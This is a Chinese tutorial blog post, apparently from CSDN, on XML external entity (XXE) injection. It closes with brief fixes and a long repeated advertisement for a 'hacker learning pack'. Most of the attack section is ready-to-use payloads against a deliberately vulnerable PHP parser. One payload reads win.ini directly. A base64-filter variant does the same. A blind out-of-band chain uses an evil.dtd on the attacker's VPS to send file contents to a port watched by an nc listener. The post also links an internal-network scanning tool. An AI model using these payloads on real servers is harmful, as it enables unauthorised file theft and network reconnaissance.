漏洞揭秘:XXE的“前世今生”
XXE,全名XML外部实体注入,听起来高大上,其实就是XML这门“语言”的一个小Bug。要理解XXE,咱们得先聊聊XML是啥。简单来说,XML就像一个结构化的记事本,用各种标签来描述数据。
一个XML文档通常包含三部分:
- XML声明:告诉解析器这是个XML文件。
- 文档类型定义(DTD):定义XML文档的结构和规则。
- 文档元素:实际的数据内容。
DTD是XXE漏洞的“罪魁祸首”,它允许我们定义一些“实体”,就像编程语言里的变量。DTD分为内部声明和外部引用两种方式:
<!-- 内部声明DTD格式: -->
<!DOCTYPE 根元素 [元素声明]>
<!-- 外部引用DTD格式: -->
<!DOCTYPE 根元素 SYSTEM "DTD文件路径">
定义好DTD之后,就可以在DTD中进行实体声明,实体声明也分为两种:内部实体声明和外部实体声明。外部实体允许定义可以引用外部资源(文件或URL)的实体,这才是XXE漏洞的根源!
<!-- 内部实体: -->
<!ENTITY 实体名称 "实体的值">
<!-- 外部实体: -->
<!ENTITY 实体名称 SYSTEM "URI">
这些实体类型统称为通用实体,除此之外还存在一种类型名为参数实体,参数实体的定义就是在实体名称前面加上%,而引用参数实体只能在DTD中进行。
<!-- 内部参数实体: -->
<!ENTITY % 实体名称 "实体的值">
你可以把实体想象成一个变量,实体名称就是变量名,实体的值就是变量值。
如果应用程序在解析XML数据时,没有禁用外部实体的解析功能,攻击者就可以构造恶意的XML数据包,利用外部实体访问不该暴露的资源,甚至控制服务器!
实战演练:XXE漏洞的“十八般武艺”
假设服务端处理XML的代码如下:
<?php
// 接收XML数据
$xmlData = file_get_contents('php://input');
// 加载XML
$dom = new DOMDocument();
$dom->loadXML($xmlData, LIBXML_NOENT | LIBXML_DTDLOAD);
// 获取用户名
$username = $dom->getElementsByTagName('username')->item(0)->textContent;
// 返回结果
echo "Hello, " . $username . "!";
?>
1、有回显?So Easy!直接“读心术”
如果服务器会把XML解析的结果返回给你,那XXE利用就简单多了,就像拥有了“读心术”!
利用内部声明DTD的格式,定义外部实体变量,读取win.ini文件:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >
]>
<foo>&xxe;</foo>
请求包如下:
如果读取的敏感文件内容存在特殊字符,可能导致回显出现问题。别慌!我们可以对文件内容进行base64编码,再读取!
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini" >
]>
<foo>&xxe;</foo>
2、无回显?别慌!“盲人摸象”也行!
如果服务器不返回XML解析的结果,那XXE利用就稍微复杂一些,需要用到一些“黑科技”。
核心思路:利用外部DTD文件,将读取到的文件内容发送到我们自己的服务器上!
1)首先,我们需要准备一个DTD文件evil.dtd,放在你的VPS上,文件内容如下:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://你的VPS地址:2333/?file=%file;'>">
%int;
%send;
这个DTD文件中定义了外部参数实体file,用来读取win.ini文件内容;外部参数实体int的内容是另一个外部参数实体send的定义,并且将实体file的内容拼接到url中,做带外请求。
2)在vps上DTD文件所在目录开启http服务:
python -m http.server
3)在vps上开启nc监听:
nc -lnvp 2333
4)发送如下POC:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % remote SYSTEM "http://你的VPS地址/evil.dtd">
%remote;
]>
<foo>&send;</foo>
其中定义了外部参数实体remote,并在DTD中进行引用,这一步操作会将vps上的evil.dtd文件加载,然后分别引用实体int和send,触发evil.dtd文件中的xml代码。
5)nc成功收到数据:
3、内网漫游?“顺藤摸瓜”不是梦!
XXE漏洞不仅可以读取文件,还可以利用它来探测内网主机!
核心思路:利用http协议,尝试访问内网IP地址,如果能访问,说明该主机存活!
这里推荐一个工具:
https://github.com/JJThome/LTools/blob/main/web%E6%BC%8F%E6%B4%9E/XXE/xxe_HttpScan.py
亡羊补牢:XXE漏洞的“葵花宝典”
XXE漏洞危害巨大,修复起来却很简单,只需要记住以下两点:
- 禁止使用外部实体! 在代码中禁用XML外部实体的解析功能,例如在PHP中可以使用
libxml_disable_entity_loader(true)
。 - 过滤用户输入的XML数据! 防止用户输入恶意的XML代码。
总结:XXE漏洞虽然隐蔽,但只要我们了解其原理,掌握利用方法,并采取有效的防御措施,就能轻松应对!
黑客/网络安全学习包
资料目录
-
成长路线图&学习规划
-
配套视频教程
-
SRC&黑客文籍
-
护网行动资料
-
黑客必读书单
-
面试题合集
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************
1.成长路线图&学习规划
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************
2.视频教程
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************
3.SRC&黑客文籍
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:
黑客资料由于是敏感资源,这里不能直接展示哦!
4.护网行动资料
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
5.黑客必读书单
**
**
6.面试题合集
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
更多内容为防止和谐,可以扫描获取~
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*********************************